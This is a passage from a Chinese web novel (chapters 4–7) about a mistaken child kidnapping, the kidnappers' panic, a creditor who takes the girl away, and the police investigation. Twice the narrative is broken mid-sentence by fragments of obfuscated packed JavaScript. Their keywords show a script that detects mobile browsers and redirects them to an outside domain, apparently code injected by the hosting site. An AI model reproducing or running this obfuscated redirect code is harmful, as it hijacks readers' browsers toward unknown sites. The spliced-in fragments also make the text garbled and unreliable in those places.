徐引璋猛的瞪大双眼,“怎么可能?昨晚你给朱国良发信息的时候,他不是回你了吗?叫你不要伤害孩子,他去筹钱。如果这不是他的女儿,他为什么会这么说?” 仇洋点开他的工作微信群给徐引璋看,他的一名同事在工作群里发了小女孩的照片,说她名叫罗曼果,今年五岁,是某购物平台知名主播罗嵩的女儿,于昨晚七点多在书荟雅苑的游乐场附近失踪,希望大家帮助扩散寻找。 “我刚才问过她了,她真的叫罗曼果,爸爸是主播罗嵩,妈妈是医生,名叫吴晓敏。” 徐引璋茫然无措,抓住仇洋的袖子急道:“那现在怎么办?偷偷把她送回去?” “她失踪了一晚上,家里人一定报警了。你先别慌,待会儿我送快递的时候去书荟雅苑观察一下情况再说,你正常陪她玩,做饭给她吃。”仇洋握住她的肩膀,看着她的眼睛道:“别担心,如果出事,你就说孩子是我带回来的,我骗你说她是我表侄女,你什么都不知道。” 徐引璋瞬间就红了眼眶,泫然欲泣道:“都怪我,要不是因为我,也不会走到今天这一步。” “别瞎说,是我没脑子被人骗,跟你有什么关系?好了不说了,我要来不及了,你好好在家,有事电话联系。”仇洋走到玄关处,想了下又道:“如果我不方便跟你讲电话,我就说‘正忙呢,有事回家再说’。” “你小心点。”徐引璋不放心道。 “没事。”仇洋示意她去看着小女孩,自己拿着钥匙出了门。 书荟雅苑,严秀姿做好了早饭,正在犹豫要不要叫罗嵩起来吃早饭,忽然听到罗嵩的卧室里传来一阵东西掉到地上的乒乓声。 她忙来到罗嵩的卧室门口,推门一看,只见罗嵩穿着睡衣,光着脚狂躁地在卧室里走来走去,把床头柜和实木柜上的摆设都扫到地上,抡起飘窗旁的落地灯往墙上一顿砸。 严秀姿吓坏了,忙过去拉扯他,嘴里不住道:“小嵩,你这是做什么?到底怎么了?你别吓我!” 罗嵩把砸坏了的落地灯往地板上一扔,问严秀姿:“最近家里都有谁来过?” 严秀姿一头雾水,道:“没有外人来过啊,哦,就昨天,警察和吴晓敏来过。” “有没有网络维修工,或者电工之类的陌生人来过?” “我不知道,应该没有吧。” “你一天到晚除了知道打麻将,还能知道些什么?”罗嵩忍不住冲她发火。 严秀姿委屈道:“我打麻将怎么了?我把你养这么大,养得这么有出息,一把年纪了,就打点小麻将消遣一下,犯法啊?你想让我在家带孩子,可以啊,你赶紧再婚,给我生个孙子,那我肯定在家带孙子不去打麻将。孙女我是不带的,带大了也是别人家的人,又不会留在我身边孝顺我。” 罗嵩一屁股在床沿上坐了下来,垂头耷脑,面色苍白头发蓬乱,活像一只在外头流浪了三个月的狗。 严秀姿看了眼他房里的保险箱,问:“你真的丢东西了是不是?丢了什么?是不是很值钱?赶紧报警,肯定是李亭,现在的保姆,手脚不干净的多了。” 罗嵩刚要说话,门铃响了,严秀姿转身去开门。 “这里是不是罗嵩家?”郭阳问。 “你们是谁?”严秀姿看是两个大男人,神色戒备。 “我们是市刑警队的,来找你们了解一些情况。”郭阳与黄文博向她出示了证件。 “哦,你们来得正好,我们家丢了东西。”严秀姿忙让开路,迎两人进门。 “丢了东西?不是孩子?”郭阳和黄文博跟在她后面进了客厅。 严秀姿愣住,小心翼翼问道:“你们是为孩子的事来的?” “是,罗嵩呢?” “孩子没丢,是被她妈给偷走藏起来了,丢的是东西。”严秀姿道。 郭阳目光越过她的头顶看向她身后。 严秀姿扭头一看,见罗嵩趿着拖鞋从卧室出来。 “罗嵩?”郭阳问。 “我是,什么事?”罗嵩捋了两下乱糟糟的头发,走进客厅。 “你女儿被绑架了,你有没有收到绑匪的威胁短信?”郭阳问。 “没有。”罗嵩不假思索。 郭阳盯着他,“你前妻收到了,从内容上看,绑匪针对的目标显然是你,为了你女儿的安全考虑,希望你对我们不要有所隐瞒。” “我说的是我女儿没有被绑架,如果她真的被绑架,对方不问我要钱,要我在直播中公开回答他的问题?可能吗?有这样的绑架吗?肯定是我前妻吴晓敏搞的鬼,我正准备去派出所报案呢。”罗嵩道。 郭阳审视着他,眼前的男人皮肤苍白眼下青黑,神色镇定,但郭阳还是敏锐地从这镇定中觉察出一丝心虚来。 “你是泰市莲花 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郭阳扫了一下,问他:“你没发现,给你发这条信息的就是朱国良吗?” 罗嵩惊讶,从他手里拿过手机看了看那串号码,道:“这是朱国良?怎么可能?他……为什么?” “这是你该回答的问题。”郭阳眼神犀利地盯着他,“他既然不图钱,摆明了与你有个人恩怨。” “我……我不知道,我原本不认识他,只是他找上门了,我怕纠缠,给他安排了一份工作而已。”罗嵩一脸无辜。 “那或许,你妈知道。”郭阳看向一旁分外安静的严秀姿。 严秀姿突然被点名,吓了一跳,忙道:“我不知道,我只是特别讨厌从莲花镇来的人。人怕出名猪怕壮,自从小嵩做主播有了名气之后,总有一些老家的人过来攀交情想占便宜,占不到便宜就翻脸,无中生有编造谎言往小嵩身上泼脏水,这个朱国良,恐怕也是这个目的。” “你认识朱国良?” “我不认识。” “那你怎么知道他是莲花镇人?” “这不、这不是你们说的吗?” “我们可没说,你儿子也只是说他以老乡自居,没说他是莲花镇人。”郭阳道。 严秀姿看了眼一旁的罗嵩。 母子俩面色都不好看。 “7月13号是什么日子?” 罗嵩烦躁道:“我不知道。” “关于这个朱国良,还有这桩绑架案,你们还有没有别的线索可以提供给我们?”盯着罗嵩看了一会儿,郭阳问这对母子。 严秀姿道:“就算给小嵩发信息的是朱国良,他也一定与吴晓敏有勾结,你们去查吴晓敏,一定能找到孩子。” 郭阳看罗嵩不说话,问他:“你呢?” 罗嵩迟疑了一下,开口道:“如果是朱国良绑架了果果,他应该问我要钱。现在这情况,我比较倾向于相信是吴晓敏偷走了孩子并给了朱国良一笔钱,让他这么搞我。” “为什么你认为吴晓敏想要搞你?如果单是为了孩子的抚养权,她这么做不是适得其反吗?”郭阳问。 罗嵩十分不情愿地回答道:“当初离婚,是因为我出轨。” 进了电梯,黄文博道:“郭队,我感觉这母子俩都没说真话。而且他们嘴里说着怀疑罗嵩的前妻吴晓敏,可从他们的反应来看,朱国良分明才是那个让他们心神不宁的关键人物。” 郭阳笑道:“不错嘛,这都给你看出来了。” 黄文博腼腆地捎着后脑勺道:“好歹也跟着队长和前辈们学了三个月了,这点眼力还是有的。” 5. 第 5 章 太阳火辣辣地炙烤着大地,车里的温度很快就上升到让人受不了的程度,罗三丫只好发动车子打开空调。 “你要不要回去给丽丽做饭?我们把手机换一下,我在这里看着就行了。”李亭说。 “丽丽去她同学家了。昨天我开这辆车去接她,被她盘问了半天,我说这辆车是你的,我借来接她而已,如果以后她问你,你不要说漏嘴。”罗三丫道。 李亭点头。 “姜洪彪那边呢?会不会因为找不到你,找丽丽的麻烦?”李亭问。 “他不敢,丽丽可比我厉害多了。”罗三丫眼睛看着一单元门洞,道:“等这次的事办完,我会跟他离婚。” 李亭看她一眼,“你终于想通了。” 罗三丫垂下脸,自嘲道:“你知道我不爱读书,这辈子唯一读完的书,还是当年你从王老师那里借来的叫什么来着,哦,《杀死一只打更鸟》。书里有一段话我记得特别清楚,大意是‘勇敢就是,在你还没开始的时候就知道自己注定会输,但依然义无反顾地去做,并且不管发生什么都坚持到底。’初中辍学跟姜洪彪出来打工时,我觉得自己特别勇敢。生下丽丽之后,我已经知道姜洪彪是个烂人了,但我觉得我应该勇敢地坚持下去,我自己受过的苦,决不能让我的女儿再受一遍。可是昨天……” 想起昨天发生的事,罗三丫一时哽住,眼泪落在洗得泛白的牛仔裤上,洇开几个深色的圆。 李亭找到车上的纸巾,递给她。 罗三丫又擦眼泪又擤鼻涕地用了一大堆纸巾情绪才稳定下来,红着眼眶嗡着鼻子道:“昨天丽丽让我知道,我苦苦维持这段婚姻,维持她父母双全家庭健康的假象,不是勇敢,而是愚蠢和懦弱。我再不跟姜洪彪离婚,就要失去我的女儿了。我什么都可以失去,唯独不能失去丽丽,所以,不管有多难,我一定要跟姜洪彪离婚。” “我支持你,但是有一点,我希望你能牢记。”李亭道。 罗三丫抬眸看她,问:“什么?” “那本书叫《杀死一只知更鸟》,不是打更鸟。”李亭正色道。 罗三丫愣住,短暂的静默后,两个三十多岁的女人都噗嗤一声笑了起来,像两个孩子似的,笑得前仰后合,你推我一下我推你一下。 笑着笑着,两人的眼神不约而同地感伤起来。 笑声落幕,沉默上演。 “我都好久没有想起王老师了,你呢?”罗三丫感慨道。 “一晃都二十年过去了,就算是自己父母都未必能记那么久,何况是一个老师?”李亭道。 “不怕你笑话,小时候我还真的经常梦到王老师变成我妈妈,那比梦见吃鸡腿吃蛋糕还高兴。”罗三丫道。 李亭望着车窗外头,没说话。 “你说,要是王老师没出事,我们的命运会不会跟现在不一样?”从回忆中抽离出来,罗三丫问身边的李亭。 李亭冷笑一声,道:“我们父母双全,哪轮到她一个老师来左右我们的命运,能有什么不一样?” 罗三丫神情委顿,道:“说的也是。你现在跟家里还有联系吗?” “没有。” “他们也不会主动联系你吗?我妈老用各种借口找我要钱。” “他们不敢联系我。”李亭话音刚落,口袋里手机响了起来。 她摸出来一看,点了接通。 “喂?” “是李亭吗?” “是,你哪位?” “是不是你做的?” 李亭停顿了一下,不耐烦起来:“罗主播?你妈脑子不清醒,你也有病?怀疑是我拐走了果果?那你们去报警啊。” “我说的是短信,是不是你发的?” “什么短信?” “如果是你,不管你和那个人是什么关系,跟他之间有什么约定,我给你一百万,这件事到此为止,你看怎么样?” “……你到底在说什么?什么短信?” “你别装了,只有你有机会做这件事。一百万嫌少?那给你两百,不,一千万,我们见面聊。” “……罗主播,你不是在开玩笑吧?” “当然不是开玩笑。” “一千万这么多,好,只要不是卖身杀人,我什么都可以配合你。我们去哪儿见面?” 罗嵩沉默。 “喂?你怎么不说话了?说啊,去哪见面?”李亭催促。 罗嵩挂断了电话。 看李亭收起手机,罗三丫瞪大了青肿的眼睛问道:“谁啊?什么一千万?” “罗嵩。神经病一样,孩子失踪他一点都不着急,尽说些让人莫名其妙的话,可见这人配不配当父母,跟有没有钱也没有必然的关系。”李亭道。 罗三丫叹了口气,刚想说话,无意间瞟了眼一单元门口,“欸?一单元来人了。” 李亭抬头一看,一辆红色的坦克300在一单元门口停了下来,从车上下来一男一女,男的很年轻,看上去像个高中生,女的年龄比他大些,妆容打扮略显风尘。 越野车泊好后,驾驶室下来一个男人,头发长至脖颈,四十多岁,身穿衬衫休闲裤,消瘦精干文质彬彬的模样,这大热天双手还戴着黑色手套。 三人站在一单元门口,四处观察了一下,最后似乎确定了目标,先后进了一单元门洞。 102室,徐引璋在厨房炒菜,她放在客厅茶几上的手机响了起来。 果果朝厨房看了几眼,见她毫无反应,就拿着手机跑过去递给她,“阿姨,你的手机响了。” “哦,谢谢。”徐引璋接过手机,看着小女孩转身噔噔噔地跑回客厅,她关掉煤气灶和油烟机,接通电话。 “怎么这么久才接电话?家里没事吧?”耳边传来仇洋着急的声音。 “没事,我刚才在炒菜,油烟机声音太大了没听到手机铃声。你那边怎么样?”徐引璋问。 仇洋看着不远处可以用人山人海来形容的小区游乐场,面色难看,道:“我现在在书荟雅苑送快递,情况有些超出预想,我待会儿回站点,以你肚子痛为借口请假回家,我们再商量对策。” “可是你不是说这个节骨眼最好不要请假,以免被人怀疑吗?” “顾不得了,现在网上铺天盖地都在说主播罗嵩的女儿被人绑架的事,再拖下去,只怕情况会越来越糟。你们先吃饭,别的等我回来再说。” 徐引璋挂了电话,茫然无措了一会儿,强迫自己冷静下来,继续把菜炒完。 饭菜端上桌后,她看着坐在沙发上看电视的小女孩。 现在关键就在这个小女孩身上,她和仇洋随时都可以放她回去,但前提是她不能跟警察说,是她和仇洋绑架了她。 “果果,吃饭了。”她微笑着招呼小女孩。 “哦。”小女孩放下玩偶,跑去卫生间洗手。 徐引璋也跟过去,和她一起洗了手。 回到餐桌旁,小女孩欢呼:“哇,有大虾!” 徐引璋坐下来给她剥虾,口中道:“你说喜欢吃,我肯定会给你买啊。” “奶奶就不会给我买。”果果说。 徐引璋剥虾的手一顿,问她:“不给你买?为什么?是不是你不能吃虾?吃了会过敏?” 果果摇头:“我不过敏,吃虾过敏的是我爸爸。奶奶就用爸爸对虾过敏当借口不买虾给我吃,其实爸爸根本不回来吃饭,他有另外的漂亮大房子,他和另一个漂亮阿姨一起住在里面。” 徐引璋明白了,这小女孩父母离婚,奶奶对她不好,爸爸常年不着家,所以她被陌生人带到陌生地方才不会那么抗拒和害怕。 也正因为她爸爸和奶奶不管她,从来没有和她一起出现过,朱国良倒和她一起吃过饭,带她去游乐场玩过,所以仇洋才会误认为她是朱国良的女儿。 “果果,你看你离开家这么久,家里人一定很担心了,下午我们送你回家好不好?”徐引璋把虾肉放到她碗里,温声问道。 果果猛的抬起头来,望着徐引璋问:“李阿姨说会带我去找妈妈,为什么要送我回家?我不回家,我不想跟着奶奶,我要和妈妈一起生活。” 徐引璋觉得她这话有些怪,究竟哪里怪,她又说不出来,只好问道:“那你知道你妈妈在哪儿吗?” “知道,我妈妈在第五人民医院,她是一名心外科医生。”果果自豪道。 徐引璋暗想,仇洋本来就是以她肚子痛为借口请假的,那不如下午就带果果去第五人民医院,让她自己去大厅问诊台联系她妈妈,她和仇洋去看病,正好遮掩过去。 唯一的问题是,警察询问这小女孩时,她会不会把她和仇洋供出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251762|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不知道他们的地址,但她知道他们的长相,看见过仇洋穿他的工作服,如果她向警察描述出仇洋工作服的样子,警察就能很容易地锁定目标了。 一般的五岁小女孩她或许用不着这么担心,但这个小女孩表达能力很强,这是极有可能发生的事情。 她不敢有侥幸的想法,杀人未遂□□未遂都要判刑,他们这是绑架,而且成功地把人绑来了,就算是错绑,就算他们主动释放人质,就能不被追究吗? “果果,叔叔阿姨有让你受委屈吗?”徐引璋问果果。 果果摇头:“没有,叔叔阿姨对我很好,叔叔做早饭给我吃,阿姨买虾给我吃,还给我买画笔。” “那,等你到了妈妈身边,如果警察来找你,你能不跟警察提起叔叔阿姨吗?” 果果点头:“我就说我迷路了,有个好心的陌生人捡到了我,带我去找妈妈,别的都不记得。” 徐引璋看着小女孩懂事的模样,心中十分愧悔——无论怎样,他们都不该因为大人的恩怨把无辜的孩子牵扯进来。 这时门铃响了,徐引璋起身对果果道:“应该是你的画笔到了。” 上午果果说喜欢画画,徐引璋没办法把她一个人留在家里去给她买画笔,就叫了个跑腿。 她过去把门打开一条缝,看到门外是个浓妆艳抹的女人,并不是她以为的跑腿小哥。 “你找谁?”她警惕地问。 “仇洋是住在这儿吗?”女人笑着问。 徐引璋狐疑地打量她一眼,问:“你是谁?” “看来是住这儿了。”女人话音刚落,从门后伸来一只戴着黑手套的手,把住门的边缘,一下子将门打得大开。 徐引璋看着门外的两男一女,惊得连连后退,质问道:“你们是什么人?不许进来,再进来我报警了。” “报啊,我还想报警呢,我价值四五百万的房产,被仇洋占了卖了,我还想找个地方说理呢。”戴黑手套的男人进了门,好整以暇地环顾室内一圈,问:“仇洋呢?” 徐引璋紧张地看着他在屋子里转悠,道:“他不在家。” 余伟忠把卧室卫生间厨房都看了一遍,确定仇洋确实不在家,对徐引璋道:“打电话给仇洋,就说余伟忠来找他要房子了。”说着招呼跟他进来的一男一女,“先吃饭。” 徐引璋往桌旁跑了几步,想把果果从座椅上抱下来,余伟忠一把钳住她的手臂,脸上微笑着,眼神却冷冰冰的,道:“不要这么粗鲁,孩子还没吃完呢。” 见徐引璋脸上露出吃痛的表情,他满意地放开她,拖了张凳子挨着果果坐下,和蔼可亲地问:“小朋友,你叫什么名字?” 果果看着他不说话。 “大人问话不回答,可不是有礼貌的好孩子哦。” “我叫果果。” “果果你好,我是你余叔叔,那位是你张阿姨,还有他,你可以叫他文俊哥哥。我们都是你爸爸的好朋友。”余伟忠笑容可掬地对果果道。 果果一听是她爸爸的好朋友,吓坏了,大眼里瞬间溢满泪花,问道:“你们是怎么找到我的?你们要把我抓回去吗?” 余伟忠忙道:“当然不了,你爸爸欠叔叔一大笔钱,只要他把钱还上,叔叔马上就走了,不会伤害你和你妈妈的。” “我爸爸很有钱,他一定会把钱还你的。”果果抽泣着道。 “那就好。”余伟忠瞥了眼一旁的徐引璋,摸了摸果果的头,道:“好孩子,没事,别哭了,快吃饭吧。” 徐引璋看他把果果误认为是她和仇洋的女儿,果果又把他误认为是罗嵩的朋友,脑子里顿时一片混乱。 她不知道该不该向余伟忠澄清果果不是她和仇洋的女儿,可如果澄清,她要怎么解释果果会出现在这儿呢? 她不认识余伟忠,但她曾听仇洋提起过余伟忠。现在他找上门来,肯定是来要那套房子的,可是她和仇洋现在既没房又没钱,如果让他知道果果是罗嵩的女儿,他会不会顺水推舟,让他们向罗嵩索要赎金来还钱呢? 到时候她和罗嵩算主犯还是从犯?果果又会不会有危险?要不要报警?警察来了,怎么解释果果在这儿? “愣着做什么?打电话给仇洋啊,老朋友上门,作为一家之主,他不得露个面招待一下?”余伟忠安抚好果果,扭头对徐引璋道。 6. 第 6 章 郭阳和黄文博从严秀姿家出来,去小区游乐场想实地勘察一下,看看有没有遗漏的线索,还没靠近就看到那边围着一大群人,还有不少人扛着摄像头举着手机,像是在直播。 两人走过去,看到一位浓妆艳抹的女士对着手机大声道:“……这里就是主播罗嵩的母亲居住的小区书荟雅苑,通过走访我们了解到,网上的消息并非是空穴来风,罗嵩的女儿果果已于昨晚失踪,身边这位周阿姨还帮着罗家人一起寻找过果果,现在我们让周阿姨来跟大家说一下果果失踪时的具体情况。” 郭阳面色沉了下来,黄文博拉住一个刚准备直播的小年轻,问道:“你们这是在干什么?” 小年轻道:“这么大的新闻,当然要现场直播。” “什么新闻?” “你还不知道?知名主播罗嵩的女儿果果被人绑架了,绑匪好嚣张,直接在微博上@罗嵩和各家媒体、大v,说要罗嵩在直播中回答他提出的三个问题,否则就要撕票。你自己打开微博看看就知道了,都上热搜了。” 黄文博忙拿出手机点开微博,果然在热搜第一看到了相关消息。 他与郭阳对视一眼,面色凝重。 这个案子,恐怕不似他们想象的那样简单。 两人心事重重地沿着书荟雅苑的游乐场周边观察了一圈,没发现有遗漏的摄像头,打电话给崔胜,问他在拷回去的监控录像中有没有发现什么线索。 “从监控里看,小女孩在七点零八分走出游乐场,消失在游乐场东边的那条路上,七点十三分,一辆顺丰三轮车从东边那条路上往西行驶,进入监控镜头。如果当时那位开车的快递小哥有注意到小女孩,说不定能提供一些线索。” 挂了电话,郭阳对黄文博说:“去问一下,最近的顺丰快递站点在哪儿?” 与此同时,正在送快递的仇洋接到了徐引璋的电话。 “洋,你快回来。” “怎么了?” “余伟忠来了。” “谁?” “余伟忠。” 仇洋从车厢里往外拿快递的动作一顿,很快将快递扔了回去,车门关上,道:“我马上回来。” 仇洋回到快递站点,刚跟站点负责人请完假,郭阳和黄文博就到了站点门口。 两人今天穿的便衣,仇洋以为是来寄快递的,也没留意,直到他们向站点负责人出示了证件,问负责人昨晚七点左右在书荟雅苑送快递的是哪一位快递员? 负责人当即叫住快要走出站点的仇洋:“仇洋,两位警察同志找你呢。” 仇洋心中咯噔一声,强作镇定转过身来,看向郭阳和黄文博,问:“找我?有什么事吗?” “是这样,昨晚七点多钟,书荟雅苑有一位女童走失。”郭阳拿出手机把罗曼果的照片给他看了看,继续道:“从监控上看,在她消失在监控画面后,你正好驾驶三轮车与她擦肩而过,你有看到她吗?” 仇洋说:“没注意。” 站点负责人在一旁插话:“我们车上不都装着智能摄像头吗?要不看一下监控摄像?” “是门外那辆车吗?”郭阳问。 松湖小区35幢102室,余伟忠吃完饭,用右手拇指和中指捏着牙签剔牙,抬腕看了下手表,对一旁坐立不安的徐引璋道:“仇洋怎么还不回来?要我去他工作的地方亲自请他?” 徐引璋忙道:“不,我打电话给他。”电话拨过去,被挂断了。 余伟忠的面色顿时阴沉下来。 快递站点门外,郭阳和黄文博跟着仇洋走到三轮快递车旁边。 仇洋操作一番,惊讶道:“咦?内存卡不见了。” “怎么会不见?是不是你拔下来忘记放哪儿了?”负责人问。 仇洋刚要说话,他电话又响了起来。 郭阳看到他手机上显示的是“老婆”两个字,就说:“接吧。” 仇洋接通电话,不等那头开口就说:“正忙呢,有事回家再说。”说完就挂了电话,对郭阳与黄文博歉意地笑了笑,说:“我老婆,说肚子痛,催我回家呢,我刚请了假。” 松湖小区,余伟忠见仇洋要么不接电话,要么接了电话就立刻挂断,彻底失去了耐心,倾过身去和颜悦色地对果果道:“放暑假了,你爸爸工作这么忙,也没时间带你和妈妈出去玩吧?” 果果眨巴一下眼睛:“嗯。” “叔叔带你去玩好不好?我们去西藏,看牦牛。” 果果抬头看徐引璋。 “妈妈也可以一起去。”余伟忠道。 “可是我妈妈……” “你到底想怎样?”徐引璋打断果果的话,如果让余伟忠知道果果是被她和仇洋绑架来的,事情会变得更复杂,后果更难以预料。 “要么还钱,要么还房,我不是一开始就说清楚了么?” “我们没钱,也没房。” “耍横?”余伟忠斜着徐引璋。 徐引璋被他阴狠的眼神吓得一抖,结巴道:“没、没有,我只是在陈述事实。” “没有就去借,去贷,我又不是不给你们时间。欠债不还,对孩子来说也不是好榜样。”余伟忠一把抱起果果,道:“给你五分钟收拾东西,五分钟之后,你要是不下来,我们就自己带着果果去玩了。” 徐引璋愣住。 “我不去,我不去,我要妈妈。”果果哭闹起来。 徐引璋强作镇定道:“你们这是要做什么?你把她放下,不然我报警了。” “报啊,我们两家之间,可是连几百万的房子都可以送的关系,我趁着暑假带我儿子和我兄弟的女儿一起出去旅个游,犯法?” “那房子是你父亲自愿送给仇洋母亲的。” “自愿?谁能证明他是自愿的?再说了,一个保姆,照顾老头子五六年不仅卷走了老头子所有的存款,还得了一套房,你觉得合理吗?老祖宗传下来的规矩是先礼后兵,如果你上来就选择硬碰硬,我自然也就没什么好客气的了,到时候你别后悔就行。”余伟忠弯腰把果果放在地上,看着徐引璋,一副无所谓的态度道:“报警啊,我还要告仇洋非法侵占呢,正好立个案。” 徐引璋握着手机的手指发紧。 果果跑过来抱着她的腿。 徐引璋心里天人交战,如果报警,果果的事情肯定瞒不住,仇洋一定会把所有责任揽在自己身上,就算她主动交代自己也有参与,恐怕也不能减轻他的罪责。 如果不报警,那果果就会被余伟忠他们带走。 对了,刚才打仇洋电话时,他第一次没接,第二次不方便接电话,在知道余伟忠来了家里的情况下,他依然拒接她的电话,只有一种可能,那就是他那里出了更严重的情况,比如说,警察找到了他。 想起这个可能,徐引璋只觉头皮发麻,后心一阵发凉——说不定马上警察就要上门了!她必须立刻把果果转移走。 “我跟果果说几句话。”她牵着果果去了卧室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251763|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快递站点门口。 “装这摄像头就是为了防止有人偷快递,最近没有丢过件,我也就没关注过这个摄像头到底能不能正常使用。”仇洋解释道。 郭阳盯着他,问:“这辆车就你一个人开吗?” 仇洋道:“不是,我跟我同事轮班开。” 郭阳正想问他同事的情况,他自己的手机响了起来,掏出来一看,是副局苏钰海。 “苏副局长。”他接通电话。 “郭阳,你人在哪里?” “在书荟雅苑这边走访。” “网上都闹成那样了,还走访什么?你赶紧给我回来!” “是!” 挂了电话,郭阳对仇洋等人说:“如果你们想起什么情况,记得跟我们警方联系。” 仇洋等人连连答应。 目送他们离开后,仇洋跟负责人打了声招呼,开着自己的电动车往松湖小区赶去。 松湖小区,客厅里,张苏彤扫了眼卧室门口,问余伟忠:“不跟进去吗?万一她真的报警怎么办?” 余伟忠说:“报呗,咱们做什么违法的事了?” “车钥匙给我,我去车里等你们。”一直没开口的余文俊说。 余伟忠把车钥匙递给他,他开门出去了。 见客厅里只剩下她和余伟忠两人,张苏彤压低了声音道:“你这么有礼貌,能要来钱?” “你都说了是要钱,又不是敲诈勒索绑架,怎么能没礼貌呢?”余伟忠从口袋里摸出一支烟来,低眉点上。 卧室里,徐引璋蹲在果果面前,轻轻握着她的肩膀,轻声道:“果果,这些人是坏人,如果不跟他们走,就只能报警,可是一旦报警,警察就会发现你在这里,你就会被送回奶奶和爸爸的身边,不能去找你妈妈了。” “那怎么办?”果果又要哭了。 “我们先跟他们走,你假装是我女儿好不好?如果他们知道你不是我女儿,就不会带你走了,你还是会被人送到派出所去,回到你爸爸身边。” “跟他们走,我什么时候才能见到我妈妈?”果果稚气地问。 “过几天,你仇叔叔会想办法来找我们的。” 说到这里,张苏彤进来了,徐引璋打住话头,起身收拾衣服。 耳边忽然传来门铃声。 两个女人都吓了一跳。 张苏彤转身去了客厅。 徐引璋回头看着果果,六神无主。 余伟忠倒是镇定得很,过去打开门。 “你好,请问徐女士在吗?”是个外卖员。 张苏彤见不是警察,松了口气,上前问:“什么事?” “这是你让代买的画笔和画纸,你看一下。”外卖员把袋子递过来。 张苏彤接了,随便看了看,道:“谢谢。” 徐引璋在房里听见不是警察,一口气松下来,感觉腿都有点软。她火速收拾好行李,给果果戴上遮阳帽和口罩,牵着果果出了卧室,说:“我收拾好了。” 余伟忠在饭碗中摁灭烟头,看了眼徐引璋和果果,对张苏彤说:“你把孩子抱上。” 张苏彤不大乐意,但也没敢说不抱,过来把果果给抱了起来。 “我的雅典娜。”果果朝沙发上的大象玩偶伸出手。 徐引璋忙过去把玩偶拿过来给她抱着,四人一道出了门。 李亭和罗三丫见几人抱着孩子下楼上车,app里的定位也开始移动,忙驾车跟了上去。 7. 第 7 章 郭阳黄文博赶回刑警队,副局苏钰海及相关人等已经在会议室等着了。 崔胜也才匆匆赶到,郭阳劈头就问:“为什么不用技术手段对嫌犯的账号限流,控制事态发展?” 崔胜道:“对方发帖时用了洋葱服务器,定位不到IP,应该是个很懂网络技术的人,而且他不是自己发帖,同一时间还有很多网络大V都爆出了这件事,应该是嫌犯提前给这些大V投了稿,目的就是把这件事闹大。孩子在他手里,我不敢擅自做主,请示了苏局,苏局说为孩子安全考虑,不采取技术手段。” “站在门口磨叽什么呢,还不快进来?”里头苏钰海催促道。 三人进去坐下。 “走访到什么线索没?”苏钰海扭头问郭阳。 郭阳道:“从事发当晚的监控里看,孩子失踪时正好一辆顺丰的快递车迎面开过,车上有摄像仪,本来可以拍到一些线索的,但我们去调查的时候,那辆车的监控存储卡竟然不翼而飞了。事情有些太过凑巧,后续可以作为疑点之一继续调查一下。” 苏钰海点头,看向会议桌旁的众人道:“这桩绑架案与以往我们接触过的绑架案很不一样,罗嵩是个公众人物,疑犯利用这一点让这桩案子从一开始就成了社会舆论的焦点,大家应该明白此刻自己肩上的担子有多重吧?所以从现在开始,分秒必争,必须尽快侦破这桩绑架案,把孩子救回来。现在大家把与这件案子相关的线索汇总一下,从郭阳开始。” 郭阳道:“我和文博去罗嵩家进行了走访,罗嵩与他母亲言辞闪烁,对于孩子失踪的态度也表现得很奇怪,但提到朱国良这个名字时,可以看出两人情绪都明显的紧张起来。罗嵩母子与朱国良一定有着某种不为人知的关系,很可能正因为这种不为人知的关系,朱国良才做下了这桩绑架案,后续必须深挖罗嵩母子与朱国良的过往。” 杨琳道:“我和志远初步调查了朱国良的社会关系,他是泰市莲花镇人,父亲去世,有一个哥哥两个姐姐,母亲跟着他哥哥生活,说他有十几年没回过家了。我向他们提了罗嵩的名字,他们表示没什么印象。他结过两次婚,大女儿跟着他第一任前妻,母女俩暂时都没能联系上。联系上了他第二任前妻,对方说有六七年没见过朱国良了,她想问朱国良要儿子的抚养费也联系不上。我问她朱国良有没有跟他提过罗嵩这个人,她说没有。调查下来朱国良名下没有银行卡,暂时也查不到他在京山市的住址,通过调取他的通话记录发现他最近几个月联系最多的人是罗嵩,还有几个号码有待查实。” 苏钰海将目光投向崔胜,崔胜忙道:“发布微博的那个账号是今天刚刚注册的,注册用的手机号就是朱国良的那个号码,对方在发帖时用了黑客常用的洋葱服务器,无法确定他发帖时的具体IP,只能申请对手机号进行技术侦查,正在走程序,要等批复下来才能继续。” “朱国良初中肄业,你说的这个什么黑客常用的洋葱服务器,对于文化水平不高的人来说,容易学会使用吗?”郭阳问崔胜。 崔胜道:“说实话我觉得不太容易,因为使用tor网络门槛还是比较高的,首先使用者需要精通英语,理解节点选择,加密原理,在使用的时候手动配置出口节点,更新网桥地址,部分国家和地区封锁tor入口节点,需要持续不断地寻找可用镜像网站,直到找到能用的为止。在这过程中,只要一个步骤发生错误,就会导致链接失败。” 郭阳听得一脸迷糊,看向苏钰海,“这怎么听,都不像是朱国良这种初中没上完,劣迹斑斑的人能使用的技术。” “你的意思是,朱国良很可能还有个帮手?” “有很大可能,如果这个人真的像小崔说的那样懂网络技术,估计朱国良的手机是不可能被定位到的。而且现在有了微博这个联系方式,他们也完全没有必要再用那只手机。虽然是绑架,但对方不要赎金,只想跟罗嵩隔空对话,我们根本就没有接触绑匪的机会,这个案子,很棘手。”郭阳浓眉深锁。 他这样一说,众人情绪都低落下去,因为他说的是事实。 